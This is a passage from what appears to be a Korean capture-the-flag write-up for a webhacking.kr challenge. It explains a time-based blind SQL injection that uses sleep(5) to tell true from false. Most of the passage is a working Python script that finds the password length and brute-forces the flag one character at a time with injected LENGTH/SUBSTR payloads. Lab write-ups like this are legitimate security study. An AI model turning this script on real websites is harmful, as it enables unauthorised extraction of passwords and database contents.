또한 SQL이 처리가 된 후 반환 값이 없든 있든 Done이 출력되기 때문에 Sleep 함수를 이용하여 True와 False를 구별하기로 하였다.
pw의 길이가 0보다 크기 때문에 True가 되었고, True일 때 값은 sleep(5)이라서 5초 동안 기다리는 모습이다.
손으로 노가다를 하기엔 힘들어서 파이썬으로 작업하도록 하였다.
import requests, string, time
from bs4 import BeautifulSoup as bs
def flagLenth(url:str):
for count in range(1, 100):
start = time.time()
res = requests.get(url + f'msg=%27&se=if(LENGTH(pw)={count},%20sleep(5),%201)')
if int(time.time()-start) >= 5:
return count
else:
continue
def flagParser(url:str, lenth:int):
flag = 'flag{'
for i in range(6, lenth+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
start = time.time()
res = requests.get(url + f'msg=%27&se=if(SUBSTR(pw, {i}, 1)={hex(ord(s))},%20sleep(5),%201)')
if int(time.time()-start) >= 5:
flag += s
print('flag >>>', flag)
break
else:
continue
return flag
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/web-34/index.php?'
length = flagLenth(url)
print(flagParser(url, length))